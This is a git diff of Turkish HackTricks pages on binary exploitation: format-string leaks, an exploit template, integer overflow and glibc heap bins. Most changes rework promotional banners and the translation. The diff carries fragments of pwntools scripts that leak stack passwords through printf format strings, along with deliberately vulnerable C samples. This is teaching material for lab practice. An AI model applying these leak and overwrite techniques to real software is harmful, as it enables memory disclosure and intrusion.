-Sıfırdan Kahramana AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile + HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +- [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +- **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
+{% endhint %} ## İkili Okumaya Başla @@ -46,13 +47,9 @@ p.sendline(payload) log.info(p.clean()) ``` * **Ofset 11'dir** çünkü birkaç As ayarlayarak ve bir döngü ile 0'dan 50'ye kadar ofsetleri **brute-force** ederek, ofset 11'de ve 5 ekstra karakterle (bizim durumumuzda borular `|`) tam bir adresi kontrol etmek mümkündür. -* Adresin tamamı 0x4141414141414141 olduğunda **`%11$p`**'yi kullandım. -* **Format dizesi yükü, adresin ÖNCESİNDE** olmalıdır çünkü **printf, bir null bayta kadar okuma yapar**, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf, null baytı bulacağından format dizesine asla ulaşamaz. -* Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yoktur) - -
- -## Parolaları Oku +* Adresin tamamı 0x4141414141414141 olduğunda **`%11$p`**'yi kullanarak dolgu ekledim. +* **Format dizesi yükü, adresin ÖNCESİNDE** olmalıdır çünkü **printf, bir null bayta kadar okuma yapmayı durdurur**, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf asla format dizesine ulaşmayacak çünkü bir null bayt bulunacaktır. +* Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yok) ```c #include #include @@ -87,9 +84,9 @@ Derleyin: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` -### Stack'ten Okuma +### Stack'ten okuma -**`stack_password`** yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığın üzerindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır: +**`stack_password`** yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığının içerisindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır: ```python from pwn import * @@ -110,7 +107,7 @@ Resimde, şifrenin yığın içinde `10.` konumdan sızdırılabileceği görül ### Veri Okuma -Aynı saldırıyı çalıştırarak ancak `%s` yerine `%p` kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu `%25$p` konumunda gerçekleşir. Dahası, sızdırılan adresin (`0xaaaab7030894`) o işlemde bellekteki şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz: +Aynı saldırıyı çalıştırarak ancak `%s` yerine `%p` kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu `%25$p` konumunda gerçekleşir. Dahası, sızdırılan adresi (`0xaaaab7030894`) o işlemde bellekte şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz:
@@ -177,16 +174,17 @@ p.close() ```
+{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin**.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/format-strings/format-strings-template.md b/binary-exploitation/format-strings/format-strings-template.md index 907e5cfd4..e6f0d3e46 100644 --- a/binary-exploitation/format-strings/format-strings-template.md +++ b/binary-exploitation/format-strings/format-strings-template.md @@ -1,18 +1,19 @@ # Format Strings Şablonu +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ```python from pwn import * from time import sleep @@ -152,16 +153,17 @@ format_string.execute_writes() P.interactive() ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/integer-overflow.md b/binary-exploitation/integer-overflow.md index a2e649179..a6824bed5 100644 --- a/binary-exploitation/integer-overflow.md +++ b/binary-exploitation/integer-overflow.md @@ -1,30 +1,31 @@ # Tamsayı Taşması +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hacking püf noktalarını paylaşın.
+{% endhint %} ## Temel Bilgiler -**Tamsayı taşmasının** merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından uygulanan sınırlama bulunmaktadır. +**Tamsayı taşması**nın merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından uygulanan sınırlama bulunmaktadır. -Örneğin, bir **8-bit işaretsiz tamsayı**, **0 ile 255** arasındaki değerleri temsil edebilir. Bir 8-bit işaretsiz tamsayıya 256 değerini saklamaya çalışırsanız, saklama kapasitesinin sınırlılığı nedeniyle 0'a döner. Benzer şekilde, **16-bit işaretsiz tamsayı** için, **0 ile 65,535** arasındaki değerleri tutabilir, 65,535'e 1 eklemek değeri tekrar 0'a döndürecektir. +Örneğin, bir **8-bit işaretsiz tamsayı**, **0 ile 255** arasındaki değerleri temsil edebilir. Bir 8-bit işaretsiz tamsayıya 256 değerini saklamaya çalışırsanız, saklama kapasitesinin sınırlılığı nedeniyle değer 0'a döner. Benzer şekilde, **16-bit işaretsiz tamsayı** için, **0 ile 65,535** arasındaki değerleri tutabilir, 65,535'e 1 eklemek değeri tekrar 0'a döndürecektir. -Ayrıca, bir **8-bit işaretli tamsayı**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bu, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılması nedeniyle 7 bitin büyüklüğü temsil etmesi gerektiğinden kaynaklanır. En negatif sayı **-128** olarak temsil edilir (ikili `10000000`), en pozitif sayı ise **127** olarak temsil edilir (ikili `01111111`). +Ayrıca, bir **8-bit işaretli tamsayı**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bu, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılması nedeniyle, büyüklüğü temsil etmek için 7 bitin kullanılması nedeniyle gerçekleşir. En negatif sayı **-128** olarak temsil edilir (ikili `10000000`), ve en pozitif sayı **127** olarak temsil edilir (ikili `01111111`). ### Maksimum Değerler -Potansiyel **web güvenlik açıkları** için desteklenen maksimum değerleri bilmek çok ilginçtir: +Potansiyel **web güvenlik açıkları** için desteklenen maksimum değerleri bilmek oldukça ilginçtir: {% tabs %} {% tab title="Rust" %} @@ -42,11 +43,26 @@ println!("{}", add_result); ``` {% endtab %} -{% tab title="C" %}Integer Taşması +{% tab title="C" %} -Integer taşması, bir değişkenin maksimum değerini aştığında oluşan bir durumdur. Bu durum, genellikle işlemlerde veya bellek tahsisinde hatalı hesaplamalardan kaynaklanır. Örneğin, bir değişkenin maksimum değeri 255 ise, 256 değeri atanırsa, değişken taşar ve 0 değerine geri döner. +## Tamsayı Taşması -Bu tür bir zafiyet, kötü niyetli saldırganların hedef sistemde istismar ettiği yaygın bir güvenlik açığıdır. Integer taşması, bellek bölgelerinin yanlış şekilde yazılmasına ve hedef sistemde istenmeyen davranışlara neden olabilir. Bu nedenle, yazılım geliştiricilerin bu tür durumları önlemek için dikkatli olmaları önemlidir.{% endtab %} +Tamsayı taşması, bir değişkenin maksimum değerini aştığında oluşan bir durumdur. Bu durum, beklenmedik sonuçlara neden olabilir ve kötü niyetli kullanıcılar tarafından istismar edilebilir. Tamsayı taşması genellikle işaretçilerle veya bellek tahsis işlemleriyle ilgili işlemlerde karşılaşılır. + +Tamsayı taşması saldırıları genellikle bellek bölgelerine yazma, hizmet reddi veya kötü amaçlı kod yürütme gibi tehlikeli sonuçlara yol açabilir. Bu tür saldırılardan korunmak için giriş doğrulaması yapılmalı ve güvenlik kontrolleri uygulanmalıdır. + +Örnek bir tamsayı taşması durumu aşağıdaki gibi olabilir: + +```c +int a = INT_MAX; +a = a + 1; +``` + +Bu durumda, `a` değişkeni maksimum tamsayı değerini aştığı için bir tamsayı taşması oluşacaktır. + +Tamsayı taşması genellikle dikkatsizce yazılmış kodlardan kaynaklanır ve iyi bir kod incelemesi ve test süreci ile tespit edilebilir. + +{% endtab %} ```c #include #include @@ -69,7 +85,7 @@ return 0; ### Saf taşma -Yazdırılan sonuç, char'ı aştığımız için 0 olacaktır: +Yazdırılan sonuç 0 olacaktır çünkü char'ı aştık: ```c #include @@ -82,7 +98,7 @@ return 0; ``` ### İmzalıdan İmsiz Dönüşüm -Kullanıcı girdisinden okunan bir imzalı tamsayı düşünün ve ardından uygun doğrulama olmadan onu imzalı bir tamsayı olarak işleyen bir bağlamda kullanılır: +Kullanıcı girdisinden okunan bir imzalı tamsayı düşünün ve ardından uygun doğrulama yapılmadan onu imzalı bir tamsayı olarak işleyen bir bağlamda kullanılır: ```c #include @@ -104,35 +120,36 @@ printf("Processed Input is within range: %u\n", processedInput); return 0; } ``` -Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin nasıl yorumlandığından dolayı bu sayı büyük bir işaretsiz tamsayı olarak yorumlanacaktır, bu da beklenmeyen davranışlara yol açabilir. +Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin nasıl yorumlandığından dolayı büyük bir işaretsiz tamsayı olarak yorumlanabilir, bu da beklenmeyen davranışlara yol açabilir. ### Diğer Örnekler * [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) -* Şifrenin boyutunu depolamak için sadece 1B kullanılır, bu nedenle taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak mümkündür. +* Sadece 1B, şifrenin boyutunu depolamak için kullanıldığından, taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak mümkündür. * [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html) -* Verilen birkaç sayıyı kullanarak z3'ü kullanarak, birinci sayı ile çarpıldığında ikinci sayıyı verecek yeni bir sayıyı bulun: +* Verilen bir çift sayıyı kullanarak z3'ü kullanarak, birinci sayıyla çarpıldığında ikinci sayıyı verecek yeni bir sayıyı bulun: ``` (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) ``` * [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -* Şifrenin boyutunu depolamak için sadece 1B kullanılır, bu nedenle taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak ve yığında bir sonraki yerel değişkeni geçerek her iki korumayı da atlatmak mümkündür. +* Sadece 1B, şifrenin boyutunu depolamak için kullanıldığından, taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak ve yığında bir sonraki yerel değişkeni üzerine yazarak her iki korumayı da atlatmak mümkündür. ## ARM64 -Bu, [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebileceğiniz gibi **ARM64'te değişmez**. +Bu **ARM64'te değişmez** [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebileceğiniz gibi. + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/binary-exploitation/libc-heap/bins-and-memory-allocations.md index a00582f7b..1ad03158e 100644 --- a/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -1,35 +1,36 @@ # Bins ve Bellek Tahsisleri +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Parçaların nasıl depolandığındaki verimliliği artırmak için her parça sadece bir bağlı listede değil, birkaç türde depolanır. Bunlar "bins"lerdir ve 5 tür bin vardır: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) küçük bins, 63 büyük bins, 1 sıralanmamış bin, 10 hızlı bins ve her iş parçacığı için 64 tcache bin'i bulunmaktadır. +Parçaların nasıl depolandığındaki verimliliği artırmak için her parça sadece bir bağlı listede değil, birkaç türde depolanır. Bunlar "bins"lerdir ve 5 tür bin vardır: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) küçük bins, 63 büyük bins, 1 sıralanmamış bin, 10 hızlı bins ve her iş parçacığı için 64 tcache bin'i vardır. -Her sıralanmamış, küçük ve büyük binin başlangıç adresi aynı dizinin içindedir. İndeks 0 kullanılmamıştır, 1 sıralanmamış bin, 2-64 arası küçük binler ve 65-127 arası büyük binlerdir. +Sıralanmamış, küçük ve büyük bins'e her birinin başlangıç adresi aynı dizinin içindedir. İndeks 0 kullanılmaz, 1 sıralanmamış bin, 2-64 arası küçük bins ve 65-127 arası büyük bins'tir. -### Tcache (İş Parçacığı Önbelleği) Bins +### Tcache (İş Parçacığı Başına Önbellek) Bins -İş parçacıkları kendi belleğe sahip olmaya çalışsa da (bkz. [Arenalar](bins-and-memory-allocations.md#arenas) ve [Alt-bellekler](bins-and-memory-allocations.md#subheaps)), birçok iş parçacığına sahip bir işlem (örneğin bir web sunucusu) **belleği diğer iş parçacıklarıyla paylaşabilir**. Bu durumda, ana çözüm **kilitlerin** kullanılmasıdır, bu da iş parçacıklarını **önemli ölçüde yavaşlatabilir**. +İş parçacıkları kendi belleğe sahip olmaya çalışsa da (bkz. [Arenalar](bins-and-memory-allocations.md#arenas) ve [Alt bellekler](bins-and-memory-allocations.md#subheaps)), birçok iş parçacığına sahip bir işlem (örneğin bir web sunucusu) **başka iş parçacıklarıyla belleği paylaşabilir**. Bu durumda, ana çözüm **kilitlerin** kullanılmasıdır, bu da **iş parçacıklarını önemli ölçüde yavaşlatabilir**. -Bu nedenle, bir tcache, parçaları birleştirmeyen **tek yönlü bağlı listedir** ve her iş parçacığının **64 tek yönlü tcache bin'i** bulunmaktadır. Her bir bin, [64 bit sistemlerde 24 ile 1032B ve 32 bit sistemlerde 12 ile 516B arasında](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) aynı boyutta en fazla [7 parçaya](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) sahip olabilir. +Bu nedenle, bir tcache, parçaları birleştirmeyen **tek yönlü bağlı listedir** ve her iş parçacığının **64 tek yönlü tcache bin'i** vardır. Her bir bin, [64 bit sistemlerde 24 ila 1032B ve 32 bit sistemlerde 12 ila 516B arasında değişen](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) en fazla [7 aynı boyutta parçaya](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) sahip olabilir. -Bir iş parçacığı bir parçayı serbest bıraktığında, eğer tcache'de tahsis edilecek kadar büyük değilse ve ilgili tcache bin **dolu değilse** (zaten 7 parça), **oraya tahsis edilecektir**. Tcache'e gidemezse, genel olarak serbest bırakma işlemini gerçekleştirebilmek için bellek kilidinin açılmasını beklemelidir. +Bir iş parçacığı bir parçayı serbest bıraktığında, eğer tcache'e tahsis edilecek kadar büyük değilse ve ilgili tcache bin'i **dolu değilse** (zaten 7 parça), **oraya tahsis edilecektir**. Tcache'e gidemezse, genel bins'te serbest bırakma işlemini gerçekleştirebilmek için bellek kilidinin açılmasını beklemesi gerekir. -Bir **parça tahsis edildiğinde**, eğer **Tcache'de ihtiyaç duyulan boyutta boş bir parça varsa onu kullanır**, yoksa genel bins içinde bir tane bulabilmek veya yeni bir tane oluşturabilmek için bellek kilidinin açılmasını beklemelidir.\ -Bu durumda bir optimizasyon da vardır, bu durumda bellek kilidi açıkken, iş parçacığı **istenen boyutta heap parçalarıyla (7) Tcache'ini dolduracaktır**, böylece daha fazla ihtiyaç duyarsa onları Tcache'de bulacaktır. +Bir **parça tahsis edildiğinde**, eğer **Tcache'te ihtiyaç duyulan boyutta boş bir parça varsa onu kullanır**, yoksa genel bins'te bir tane bulmak veya yeni bir tane oluşturabilmek için bellek kilidinin açılmasını beklemesi gerekir.\ +Bu durumda bir optimizasyon da vardır, bu durumda bellek kilidi açıkken, iş parçacığı **istenen boyutta heap parçalarıyla (7) Tcache'ini dolduracaktır**, böylece daha fazla ihtiyaç duyarsa onları Tcache'te bulacaktır.
